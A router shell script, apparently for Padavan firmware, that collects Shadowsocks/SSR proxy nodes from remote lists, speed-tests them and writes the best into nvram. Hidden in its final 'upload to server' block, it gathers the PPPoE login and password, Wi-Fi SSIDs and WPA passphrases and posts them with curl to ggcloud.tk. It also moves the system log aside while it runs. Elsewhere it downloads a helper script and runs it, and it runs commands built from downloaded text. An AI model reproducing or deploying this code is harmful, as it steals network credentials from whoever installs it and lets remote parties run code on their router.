echo "          =========  $0 begin:      "`date '+%Y.%m.%d %H:%M:%S'`  =====|logger
[ ! "`nvram get ss_enable`" = "1" ]  && exit 1
serverurl="http://ggcloud.tk/mac/"
nvram set ss_mode_x=0
nvram commit
killall base64 curl >/dev/null 2>/dev/null

[ `ps |grep $0|grep -v grep|wc -l ` -gt 2 ] && echo "$0 has already run!" && exit 1
if [ -f /tmp/cron_ss.lock ] ; then
  starttime=$(cat /tmp/cron_ss.lock)
  endtime=$(cat /proc/uptime | cut -d" " -f1)
  TIME=$(awk -v x=$starttime -v y=$endtime 'BEGIN {printf "%2f" y-x}'|awk '{sub(/\./,"",$1); print int($1)}')
  [ $TIME -lt 600 ] && echo "cron_ss.lock found!" && exit 1
  rm /tmp/cron_ss.lock
  /etc/storage/script/Sh15_ss.sh start >/dev/null  2>/dev/null
fi

cd /tmp


if [ ! "`stat -c %s /tmp/$0`" = "`stat -c %s /etc/storage/$0 2>/dev/null`" ] ; then
cp /tmp/$0 /etc/storage/$0
mtd_storage.sh save >/dev/null 2>/dev/null
fi
##################### SSR Server ###########
url="https://www.youtube.com/intl/zh-CN/yt/about/"
#####if [ ! "$1" = "refresh" ] && [ "`nvram get ss_working_port`" = "1090" ] ; then
if [ ! "$1" = "refresh" ]  ; then
for i in $(seq 1 5)
do 

rm /tmp/tmp.txt 2>/dev/null
curl -o /tmp/tmp.txt -s -k -L --retry 3 -r 0-10239 -m 5 $url 2>/dev/null
[  -s /tmp/tmp.txt  ]  &&  exit 0
/etc/storage/script/Sh15_ss.sh start >/dev/null  2>/dev/null
sleep 3
done
fi
/etc/storage/script/Sh15_ss.sh stop >/dev/null 2>/dev/null
[ ! -s /tmp/SSJSON.sh ] && wget -q -O /tmp/SSJSON.sh  https://gitee.com/yzqiang/autoss/raw/master/SSJSON.sh && dos2unix /tmp/SSJSON.sh &&chmod 777 /tmp/SSJSON.sh

decode_str="base64加密串"
decode_base64str()
{
a1=`echo "$decode_str"|awk -F '#' '{print $1}'`
SSR=`echo $a1"=="|base64 -d`
#存在@而不/?obfsparam=时为ss://
TT="0"
bb=`echo "$SSR"|grep @`
if [ ! "$bb" = "" ]; then
aa=`echo "$bb"|grep obfsparam=`
if [  "$aa" = "" ]; then
TT="1"
fi
fi

if [ "$TT" = "1" ]  ; then
a1=`echo $SSR|awk -F '@' '{print $1}'`
a2=`echo $SSR|awk -F '@' '{print $2}'`
method=`echo $a1|awk -F ':' '{print $1}'`
password=`echo $a1|awk -F ':' '{print $2}'`
server=`echo $a2|awk -F ':' '{print $1}'`
server_port=`echo $a2|awk -F ':' '{print $2}'`
server_port=`echo $server_port|awk -F '#' '{print $1}'`

echo $server:$server_port:$password:$method>>ss.ini
SS0="$server:$server_port:$password:$method"
else

server=`echo $SSR|awk -F ':' '{print $1}'`
server_port=`echo $SSR|awk -F ':' '{print $2}'`
protocol=`echo $SSR|awk -F ':' '{print $3}'`
method=`echo $SSR|awk -F ':' '{print $4}'`
obfs=`echo $SSR|awk -F ':' '{print $5}'`

if [ ! "$server" = "" ]  ; then
other=`echo $SSR|awk -F ':' '{print $6}'`
password=`echo $other|awk -F '/' '{print $1}'`
OO=`echo $password"=="|base64 -d`
OOO=`echo $OO|awk -F ':' '{print $2}'`
if [ "$OOO" = "" ] ; then
  password="$OO"
else
  password="BaSe64"$password
fi

OO=`echo "$other"|awk -F 'obfsparam=' '{print $2}'`
OO=`echo "$OO"|awk -F '&' '{print $1}'`
obfsparam=""
if [ ! "$OO" = "" ] ; then
obfsparam=`echo $OO"==" |base64 -d`
fi

OO=`echo "$other"|awk -F 'protoparam=' '{print $2}'`
OO=`echo "$OO"|awk -F '&' '{print $1}'`
protoparam=""
if [ ! "$OO" = "" ] ; then
protoparam=`echo $OO"==" |base64 -d`
fi

ss_usage=""
[ ! "$protocol" = "" ] && ss_usage=$ss_usage" -O $protocol"
[ ! "$obfs" = "" ] && ss_usage="$ss_usage"" -o $obfs"
[ ! "$protoparam" = "" ] && ss_usage="$ss_usage"" -G $protoparam"
[ ! "$obfsparam" = "" ] && ss_usage="$ss_usage"" -g $obfsparam"

[ ! '$ss_usage' = '' ] && ss_usage=${ss_usage:1:1024}
echo $server:$server_port:$password:$method:$ss_usage>>ss.ini
SS0="$server:$server_port:$password:$method:$ss_usage"
fi

fi
}


webstr="https://plus.google.com/communities/104092405342699579599"
deli="ssr://"
get_ssr_from_webstr()
{

#echo $webstr
rm ss.txt 2>/dev/null
curl -o ss.txt  -k -L -s  -m 30 $webstr 2>/dev/null
[ ! -s ss.txt ] && curl -o ss.txt  -k -L  -s -m 30 $webstr 2>/dev/null
if [  -s ss.txt ] ; then 
runstr="grep \"$deli\" ss.txt|sed 's/[ |<|\"|>]/\n/g' |awk -F \"$deli\" '{print \$2}'>sss.txt"
eval "$runstr"
TTT=""
echo "webstr="$webstr
cat sss.txt | while read TMP
do 
[ "$TMP" = "" ] && continue
[ ${#TMP} -lt 10 ] && continue
#echo $TMP
if [ ! "$TTT" = "$TMP" ] ; then 
decode_str=$TMP
decode_base64str
#echo $TMP
TTT=$TMP
fi
done
fi
}


SSR_STR="ssr订阅地址"
decode_ssrfile()
{
rm ss.txt 2>/dev/null
curl -o ss.txt -s -k -L   -m 30 $SSR_STR 2>/dev/null
[ ! -s ss.txt ] && curl -o ss.txt -s -k -L -m 30 $SSR_STR  2>/dev/null
if [  -s ss.txt ] ; then 
sed -i 's/.*/&==/' ss.txt
base64 -d ss.txt >ssr.txt
cat ssr.txt  | while read SSR 
do
[ "${SSR:0:4}" = "MAX=" ] && continue
if [ "${SSR:0:5}" = "ss://" ] ; then
decode_str=${SSR:5:1024}
else
decode_str=${SSR:6:1024}

fi
[ ! "$decode_str" = "" ] && decode_base64str
done
fi
}


SS0=""

###加入私有SSR



cat > "/tmp/setssr.sh" <<-\SETSSR
base64_str=""
base64_res=""
base64_encode() 
{
vvvvv=`echo -n $base64_str|base64|sed 's/=//g'|sed 's/\//_/g'`
base64_res=`echo $vvvvv|sed s/[[:space:]]//g`
}
while getopts "s:p:m:k:o:O:g:G:r:z:" arg; do
case "$arg" in
s)
server="$OPTARG"
;;
p)
server_port="$OPTARG"
;;
k)
base64_str="$OPTARG"
password1="$OPTARG"
base64_encode
password="$base64_res"
;;
m)
method="$OPTARG"
;;
o)
obfs="$OPTARG"
;;
O)
protocol="$OPTARG"
;;
g)
base64_str="$OPTARG"
base64_encode
obfs_param="$base64_res"
;;
G)
base64_str="$OPTARG"
base64_encode
protocol_param="$base64_res"
;;
r)
base64_str="$OPTARG"
remark1="$OPTARG"
base64_encode
remark="$base64_res"
;;
z)
base64_str="$OPTARG"
base64_encode
group="$base64_res"
;;
esac
done
if [ "$protocol"X = "XXXXXXXXXXXXXXX" ] ; then
base64_str="$method:$password1@$server:$server_port#remark1"
base64_encode
echo "ss://"$base64_res >>ssr.ini
else
base64_str=$server:$server_port:$protocol:$method:$obfs:$password"/?obfsparam="$obfs_param"&protoparam="$protocol_param"&remarks="$remark"&group="$group
base64_encode
echo "ssr://"$base64_res >>ssr.ini
fi

SETSSR
chmod 755 /tmp/setssr.sh

ssr_url="`nvram get ssr_url`"
tkcssr="`nvram get tkcssr`"

rm ss.ini >/dev/null 2>&1


###############不检查SS
if [ "XXX" = "XXX" ] ; then

###加入之前的配置
curl -o ss.txt -s -m 30 $serverurl"ss.ini"	
if [ $? = 0 ] ; then
  head -n 40  ss.txt >ss.ini
  echo "==============" >>ss.ini
fi

SSR_STR="http://ggcloud.tk/mac/ssr.txt"
decode_ssrfile	

######加入收集的配置
rm netflix.txt 2>/dev/null
rm skip.sh 2>/dev/null
curl -o ss.txt -s -l -k  -m 30 https://gitee.com/yzqiang/autoss/raw/master/ss.txt	
if [ $? = 0 ] ; then
tr -d "\015" <ss.txt | while read str
do
  if [ "${str:0:4}" = "#NF|" ]   ; then
    echo "${str:4}" >>netflix.txt
    continue
  fi
  if [ "${str:0:4}" = "#--|" ]   ; then
    echo "sed -i '/${str:4}/d' ss.ini" >>skip.sh
    continue
  fi  
  if [ "${str:0:6}" = "ssr://"  ]   ; then
    decode_str=${str:6:1024}
    [ ${#decode_str} -gt 20 ]  &&  decode_base64str  
  else
  if [ "${str:0:5}" = "ss://" ] ; then  
    decode_str=${str:5:1024}
	SS=$(b64decode $decode_str)
	
##	aes-256-cfb:RgpcbPbbe7nS@54.95.172.42:49267
	v1="`echo "$SS"|awk -F '@' '{print $1}'`"
	v2="`echo "$SS"|awk -F '@' '{print $2}'`"
	v2="`echo "$SS"|awk -F '#' '{print $1}'`"
	server1="`echo "$v2"|awk -F '@' '{print $1}'`"
	port1="`echo "$v2"|awk -F '@' '{print $2}'`"
	method1="`echo "$v1"|awk -F '@' '{print $1}'`"
	passwd1="`echo "$v1"|awk -F '@' '{print $2}'`"	
	echo $server1":"$port1":"$passwd1":"$method1":-O origin -o plain" >>ss.ini 
  else
    if [ "${str:0:4}" = "http" ] ; then  
		echo "####sub:"$str >>ss.ini    
		decode_ssrfile $str	
	else
		if [ "${str:0:4}" = "web|" ] ; then  
			webstr="`echo "$str"|awk -F '|' '{print $3}'`"	
			deli="`echo "$str"|awk -F '|' '{print $2}'`"   	   
			echo "####web:"$webstr >>ss.ini            
			get_ssr_from_webstr $deli $webstr   
		else	  
			[ ${#str} -gt 20 ]  &&  [ ! "$str" = "" ] && [ ! "${str:0:1}" = "#" ] && echo $str >>ss.ini  
		fi
	fi
  fi 
  fi
done 
fi
######加入收集的配置  end
#######################以上为收集所有的结点

[ ! -s ss.ini ] && exit 1

sed 's/^[ \t]*//g;s/[ \t]*$//g;/^$/d;/^[#=]/d' ss.ini>ss.txt && mv ss.txt ss.ini

[ ! -s ss.ini ] && exit 1
###################### set ss information ####################################
/etc/storage/script/Sh15_ss.sh start >/dev/null  2>/dev/null &
echo "lock">cron_ss.lock
rm ssr.txt >/dev/null 2>&1
logger "get bestss server"

options1=""
options2=""
ss_usage=""
ss_usage_json=""


nvram set ss_type=1
nvram set ss_working_port="1090"
nvram commit


ss_link_1=`nvram get ss_link_2`
ss_check=`nvram get ss_check`
action_port=1090
lan_ipaddr=`nvram get lan_ipaddr`

rm ss.txt >/dev/null 2>&1
rm ssr.inf >/dev/null 2>&1
rm ssr.ini >/dev/null 2>&1
rm ss.inf >/dev/null 2>&1
rm s.inf >/dev/null 2>&1

sleep 6

killall -9  ss-redir 2>/dev/null
killall -9  ss-local 2>/dev/null
killall -9  sh_sskeey_k.sh >/dev/null 2>/dev/null
sleep 2
PID=`ps |grep "Sh15_ss.sh keep"|grep -v grep|tr '[:alpha:][:punct:][:blank:]' '  '`
PID=${PID:0:10}
kill -9 $PID >/dev/null 2>/dev/null
echo "lock">cron_ss.lock
CC=1
BESTTIME=0
BESTTIME0=999
BT=0
BT0=999
CC0=999
[ `date "+%k"` -ge 1 ] && [ `date "+%k"` -le 7 ] && [ "$1" = "refresh" ] && BESTTIME0=900

HOST1=""
HOST0=""
[  -s skip.sh ] && sh skip.sh
#[  -s skip.sh ] && rm skip.sh
cp ss.ini ssss.ini
sort ss.ini | while read str
do
[ $CC -ge $CC0 ] || [ $BESTTIME -ge $BESTTIME0 ] || [ $BT -ge $BT0 ] && break
#[ $CC -ge 30 -a "${str:0:1}" \> "9" ] && break
[ "$str" = "" ] && continue
[ ${str:0:1} = "#" ] && continue 
[ ${str:0:1} = "=" ] && continue 
#[ ${str:0:2} = "1." ] && continue 

echo "lock">cron_ss.lock
ss_s1_ip=`echo $str|awk -F ':' '{print $1}'`  
[ ${#ss_s1_ip} = 1 ] && continue
[ ${#ss_s1_ip} = 2 ] && continue
[ ${#ss_s1_ip} = 3 ] && continue
ss_s1=$ss_s1_ip
ss_s1_port=`echo $str|awk -F ':' '{print $2}'` 
[ $ss_s1_port"X" = "X" ] && continue
[ "${ss_s1_port:0:1}" \< "0" ] && continue 
[ "${ss_s1_port:0:1}" \> "9" ] && continue 

[ "$ss_s1_ip":"$ss_s1_port" = "$HOST1" ] && continue 
[ "$ss_s1_ip" = "www.google.com" ] && continue 
[ "$HOST0" = $ss_s1_ip":"$ss_s1_port ] && continue 
HOST0=$ss_s1_ip":"$ss_s1_port

ss_s1_key=`echo $str|awk -F ':' '{print $3}'`
ss_s1_key0=$ss_s1_key
ss_s1_key=${ss_s1_key//：/:}
[ "${ss_s1_key:0:6}" = "BaSe64" ] && ss_s1_key=`echo ${ss_s1_key:6:1000}"==" | base64 -d`

ss_s1_method=`echo $str|awk -F ':' '{print $4}'` 

tmp=`echo $str|awk -F ':' '{print $5}'`  
[ ! "$tmp" = "" ] && SS="echo '$str'|awk -F ':$ss_s1_method:' '{print \$2}'" && ss_usage=`eval "$SS" | sed -r 's/\--[^ ]+[^-]+//g'`  || ss_usage=""  
ss_usage0=$ss_usage
[ "${ss_usage:0:6}" = "BaSe64" ] && ss_usage=`echo ${ss_usage:6:1000}"==" | base64 -d`


ss_server0=$ss_s1_ip:$ss_s1_port:$ss_s1_key:$ss_s1_method:$ss_usage
ss_server1=$ss_s1_ip

#ss_server1="viphk1bridgenetworks.dynu.net"
resolveip=`/usr/bin/resolveip -4 -t 4 $ss_server1 | grep -v : | sed -n '1p'`
if [ ! -n "$resolveip" ] ; then
TMP=`ping -c 1 -4 $ss_server1 2>/dev/null | grep "PING "`
OO=`echo "$TMP"|awk -F '(' '{print $2}'`
OO=`echo "$OO"|awk -F ')' '{print $1}'`
resolveip=$OO
fi


#[ ! -n "$resolveip" ] && echo $ss_server1" DNS error" && logger $ss_server1" DNS error" 
if [ -n "$resolveip" ] ; then
ss_server1=$resolveip
ss_s1_ip=$ss_server1
[ "$ss_s1_ip" = "" ] && continue

pidof ss-redir  >/dev/null 2>&1 && killall ss-redir && killall -9 ss-redir 2>/dev/null
if [ ! -z "$ss_usage" ] ; then 
ss_usage=`echo "$ss_usage" | sed -e "s/ -. -/ -/g"| sed -e "s/ -.$//g"`
ss_usage=`echo "$ss_usage" | sed -e "s/ -. -/ -/g"| sed -e "s/ -.$//g"`
fi


/tmp/SSJSON.sh  -f /tmp/ss-redir_3.json $ss_usage $ss_usage_json -s $ss_s1_ip -p $ss_s1_port -l 1090 -b 0.0.0.0 -k $ss_s1_key -m $ss_s1_method
ss-redir -c /tmp/ss-redir_3.json $options1 >/dev/null 2>&1 &
ss_s1_ip=$ss_server1
action_ssip=$ss_s1_ip
BP_IP="$action_ssip"
[ ! $ss_s1_ip = "" ] && ss-rules -s "$action_ssip" -l "$action_port" -b $BP_IP -d "RETURN" -a "g,$lan_ipaddr" -e '-m multiport --dports 80,443' -o -O >/dev/null 2>&1
#sleep 1
#curl -o /tmp/tmp.txt  -k -L -r 0-139999  -m 2 $url 3>/dev/null 
starttime=$(cat /proc/uptime | cut -d" " -f1)
for i in $(seq 1 5)
do 
rm /tmp/tmp.txt 2>/dev/null
curl -o /tmp/tmp.txt -s -k -L -r 0-39999 -m 2  $url 2>/dev/null 
CODE="$?"
endtime=$(cat /proc/uptime | cut -d" " -f1)
TIME=`awk -v x=$starttime -v y=$endtime 'BEGIN {printf "%.2f\n",y-x}'`
if [  "$CODE" == "28" ] ; then 
	if  [  -s /tmp/tmp.txt ] ; then
		CODE="0"
		endtime=$(wc -c /tmp/tmp.txt | cut -d" " -f1)
		TIME=`awk  -v x=$TIME -v y=$endtime 'BEGIN {printf "%.2f\n",x+(39999-y)/20000}'`
		TIME=${TIME:0:4}
		[ "${TIME:0:1}" == "-" ] && TIME="9.99" && CODE="28"
	fi
fi 
TIME0=`awk -v x=$TIME 'BEGIN{printf "%.2f\n",x-0.01}'`
[   "${TIME0:0:1}" != "0" -a  "${TIME0:0:1}" != "1"  ] && break 
[ ! -s /tmp/tmp.txt ] && continue
[ "$(wc -c /tmp/tmp.txt | cut -d" " -f1)" == "40000" ] && CODE="0" && break
#[  "${TIME0:0:3}" == "0.0" -o  "${TIME0:0:3}" == "0.1" ]  && continue
#[  "$CODE" == "0" ] && break 
done



TIME0=`awk -v x=$TIME 'BEGIN{printf "%.2f\n",x-0.01}'`

if [  "$CODE" == "0" ] ; then
  [ "${TIME0:0:1}" \< "2.0" ] && let BESTTIME=$BESTTIME+1
	[ "${TIME0:0:3}" \< "1.0" ] && let BT=$BT+1
	
    [ $CC -ge 10 ] && echo "$CC $TIME0 $ss_server0" && logger "$CC $TIME0 $ss_server0"
    [ $CC -lt 10 ] && echo "0$CC $TIME0 $ss_server0" && logger "0$CC $TIME0 $ss_server0"
RES=`awk -v a=$TIME  'BEGIN { print (a<=10)?1:0'}`
[ "$RES" = "1"  ] && let CC=$CC+1	&& echo "$TIME0:$ss_s1:$ss_s1_port:$ss_s1_key0:$ss_s1_method:$ss_usage0" >>ss.txt
else
HOST1=$ss_s1":"$ss_s1_port
#HOST1=$ss_s1
echo "XX" $TIME0 "$ss_server0" $CODE
logger "XX" $TIME0 "$ss_server0" $CODE
fi
#[ $CC -ge 30 -a "${str:0:1}" \> "9" ] && break
fi
done
SUCESS=1
else
###############不检查SS
SUCESS=0
fi

echo "begin set ss"
logger "begin set ss"

if [ ! -s ss.txt ] ; then
  echo "not found ss.txt"
  logger "not found ss.txt"
  curl -o ss.inf -s -m 10 $serverurl"ss.ini"
  head -n 2 ss.inf | sed '1s/^/1.00:&/g'  | sed '2s/^/2.00:&/g'  >ss.txt
  SUCESS=0
else

echo "delete old ss"
logger "delete old ss"
  cp /dev/null /tmp/ss.tmp
  nvram show|grep rt_ss_name_x|while read str
  do
    TMP0=`echo "$str"|awk -F '=' '{print $2}'`
	if [  ! ${TMP0:0:3} == "SS_" ] ; then
	  TMP=`echo "$str"|awk -F '=' '{print $1}'`
	  TMP=${TMP:12:2};
  	  TMP1="`eval "nvram get rt_ss_name_x$TMP"`"
	  TMP1="$TMP1":"`eval "nvram get rt_ss_server_x$TMP"`"
	  TMP1="$TMP1":"`eval "nvram get rt_ss_port_x$TMP"`"
	  TMP1="$TMP1":"`eval "nvram get rt_ss_password_x$TMP"`"
	  TMP1="$TMP1":"`eval "nvram get rt_ss_method_x$TMP"`"
	  TMP1="$TMP1":"`eval "nvram get rt_ss_usage_x$TMP"`"
	  echo "$TMP1" >>/tmp/ss.tmp
	fi
	
	nvram unset rt_ss_name_x$TMP
	nvram unset rt_ss_server_x$TMP
	nvram unset rt_ss_port_x$TMP
	nvram unset rt_ss_password_x$TMP
	nvram unset rt_ss_method_x$TMP
	nvram unset rt_ss_usage_x$TMP
  done
  nvram set rt_ssnum_x=0
  nvram commit
 
echo "insert 20 ss"
logger "insert 20 ss"
 sort ss.txt |head -n 10 >>ss.tmp
  CCC=0 
  CC=0
  cat ss.tmp | while read str
  do  
    TIME=`echo "$str"|awk -F ':' '{print $1}'`  
    ss_s1_ip=`echo "$str"|awk -F ':' '{print $2}'`  
    ss_s1_port=`echo "$str"|awk -F ':' '{print $3}'`  
    ss_s1_key=`echo "$str"|awk -F ':' '{print $4}'`  
	ss_s1_key=${ss_s1_key//：/:}
    [ "${ss_s1_key:0:6}" = "BaSe64" ] && ss_s1_key=`echo ${ss_s1_key:6:1000}"==" | base64 -d` 

    ss_s1_method=`echo $str|awk -F ':' '{print $5}'`  
	tmp=`echo $str|awk -F ':' '{print $6}'`  
	ss_usage=""
    [ ! "$tmp" = "" ] && SS="echo '$str'|awk -F ':$ss_s1_method:' '{print \$2}'" && ss_usage=`eval "$SS" | sed -r 's/\--[^ ]+[^-]+//g'`    
    [ "${ss_usage:0:6}" = "BaSe64" ] && ss_usage=`echo ${ss_usage:6:1000}"==" | base64 -d`
	if [ ${str:1:1} == "." -a  ${str:4:1} == ":" ]  ; then	
      CC=`expr $CC + 1`
	  nvram set rt_ss_name_x$CCC="SS_"$CC	  
	else
  	  nvram set rt_ss_name_x$CCC="$TIME"	
	fi 	

	nvram set rt_ss_server_x$CCC=$ss_s1_ip	
	nvram set rt_ss_port_x$CCC=$ss_s1_port	  
	nvram set rt_ss_password_x$CCC=$ss_s1_key
	nvram set rt_ss_method_x$CCC=$ss_s1_method
	[ "$ss_usage" == "" ] && ss_usage="-O origin -o plain"
	nvram set rt_ss_usage_x$CCC="$ss_usage"
	
  	CCC=`expr $CCC + 1`	
	nvram set  rt_ssnum_x="$CCC"
  done
  nvram commit

echo "make ss.inf"
logger "make ss.inf"

  sort ss.txt >ss.inf
  CC=1
  /tmp/setssr.sh -r 0 -z ssr -s smccb.dynv6.net -p 8388 -m rc4-md5 -k yzqyzq1234 -O origin -o plain
  cat ss.inf | while read str
  do  
    TIME=`echo "$str"|awk -F ':' '{print $1}'`  
    ss_s1_ip=`echo "$str"|awk -F ':' '{print $2}'`  
    ss_s1_port=`echo "$str"|awk -F ':' '{print $3}'`  
    ss_s1_key=`echo "$str"|awk -F ':' '{print $4}'`  
	ss_s1_key=${ss_s1_key//：/:}
    [ "${ss_s1_key:0:6}" = "BaSe64" ] && ss_s1_key=`echo ${ss_s1_key:6:1000}"==" | base64 -d` 

    ss_s1_method=`echo $str|awk -F ':' '{print $5}'`  
	tmp=`echo $str|awk -F ':' '{print $6}'`  
	ss_usage=""
    [ ! "$tmp" = "" ] && SS="echo '$str'|awk -F ':$ss_s1_method:' '{print \$2}'" && ss_usage=`eval "$SS" | sed -r 's/\--[^ ]+[^-]+//g'`    
    [ "${ss_usage:0:6}" = "BaSe64" ] && ss_usage=`echo ${ss_usage:6:1000}"==" | base64 -d`

    /tmp/setssr.sh -r $CC -z ssr -s $ss_s1_ip -p $ss_s1_port -m $ss_s1_method -k $ss_s1_key $ss_usage 
	[ "$ss_usage" == "" ] && ss_usage="-O origin -o plain"
    if [ $CC = 1 ] ; then
    nvram set ss_server=$ss_s1_ip
    nvram set ss_server_port=$ss_s1_port
    nvram set ss_key=$ss_s1_key
    nvram set ss_method=$ss_s1_method
    nvram set ss_usage="$ss_usage"	
    nvram set ss_server1=$ss_s1_ip
    nvram set ss_s1_port=$ss_s1_port
    nvram set ss_s1_key=$ss_s1_key
    nvram set ss_s1_method=$ss_s1_method
    nvram set ss_s1_usage="$ss_usage"
    ss_type="1"
    nvram set ss_type=$ss_type
    nvram commit

    echo "The No1 server: "$ss_s1_ip:$ss_s1_port:$ss_s1_key:$ss_s1_method"   "$TIME
    echo "The No1 server: "$ss_s1_ip:$ss_s1_port:$ss_s1_key:$ss_s1_method"   "$TIME >serverinfo
    logger "The No1 server: "$ss_s1_ip:$ss_s1_port:$ss_s1_key:$ss_s1_method"   "$TIME
    fi
    if [ $CC = 2 ] ; then
    nvram set ss_server2=$ss_s1_ip
    nvram set ss_s2_port=$ss_s1_port
    nvram set ss_s2_key=$ss_s1_key
    nvram set ss_s2_method=$ss_s1_method
    nvram set ss_s2_usage="$ss_usage"	
    nvram commit

    echo "The No2 server: "$ss_s1_ip:$ss_s1_port:$ss_s1_key:$ss_s1_method"   "$TIME
    echo "The No2 server: "$ss_s1_ip:$ss_s1_port:$ss_s1_key:$ss_s1_method"   "$TIME >>serverinfo
    logger "The No2 server: "$ss_s1_ip:$ss_s1_port:$ss_s1_key:$ss_s1_method"   "$TIME
    fi  
    let CC=$CC+1
  done
fi

echo "upload to server"
logger "upload to server"
if   [ "$SUCESS" = "1" ] ; then
head -n 20 ssr.ini |  base64   | sed ":a;N;s/\n//g;ta" >ssr.txt

if [ "`nvram get wan_proto`" = "pppoe" ] ; then
    fn=`nvram get wan_pppoe_username`
  nvram get wan_pppoe_username >$fn
  nvram get wan_pppoe_passwd >>$fn
else
    fn=`nvram get wan_hwaddr`
  fn=${fn//:/-}
  nvram get nvram get wan_hwaddr >$fn
fi
nvram get wl_ssid >>$fn	
nvram get wl_wpa_psk >>$fn	
nvram get rt_ssid >>$fn	
nvram get rt_wpa_psk >>$fn	
cat serverinfo >>$fn	
rm serverinfo

echo "upload to server 00"
logger "upload to server 00"
serverurl="http://ggcloud.tk/mac/"
cut ss.inf -c6-600 | head -n 100 >s.inf	
[ -s $fn ] && curl $serverurl"getfile.php?fn=inf/$fn" -F "file=@$fn"
#[ -s ssr.txt ] && curl $serverurl"getfile.php?fn=ssr.txt" -F "file=@ssr.txt"
#[ -s s.inf ] && curl $serverurl"getfile.php?fn=ss.ini" -F "file=@s.inf" 
fi

echo "upload to server 11"
logger "upload to server 11"
mv syslog.log syslog.tmp
pidof ss-redir  >/dev/null 2>&1 && killall ss-redir  && killall -9 ss-redir 2>/dev/null
killall -9  sh_sskeey_k.sh >/dev/null 2>/dev/null
killall -9 Sh15_ss.sh >/dev/null 2>/dev/null
nvram set ss_check=$ss_check
nvram set ss_status=0
nvram set ss_enable=1
nvram commit

/etc/storage/script/Sh15_ss.sh start >/dev/null  2>/dev/null &



cat >/tmp/delay40.sh <<-ABCDEF
sleep 100
rm -f cron_ss.lock 2>/dev/null
mv syslog.tmp syslog.log 2>/dev/null
ABCDEF
sh /tmp/delay40.sh &



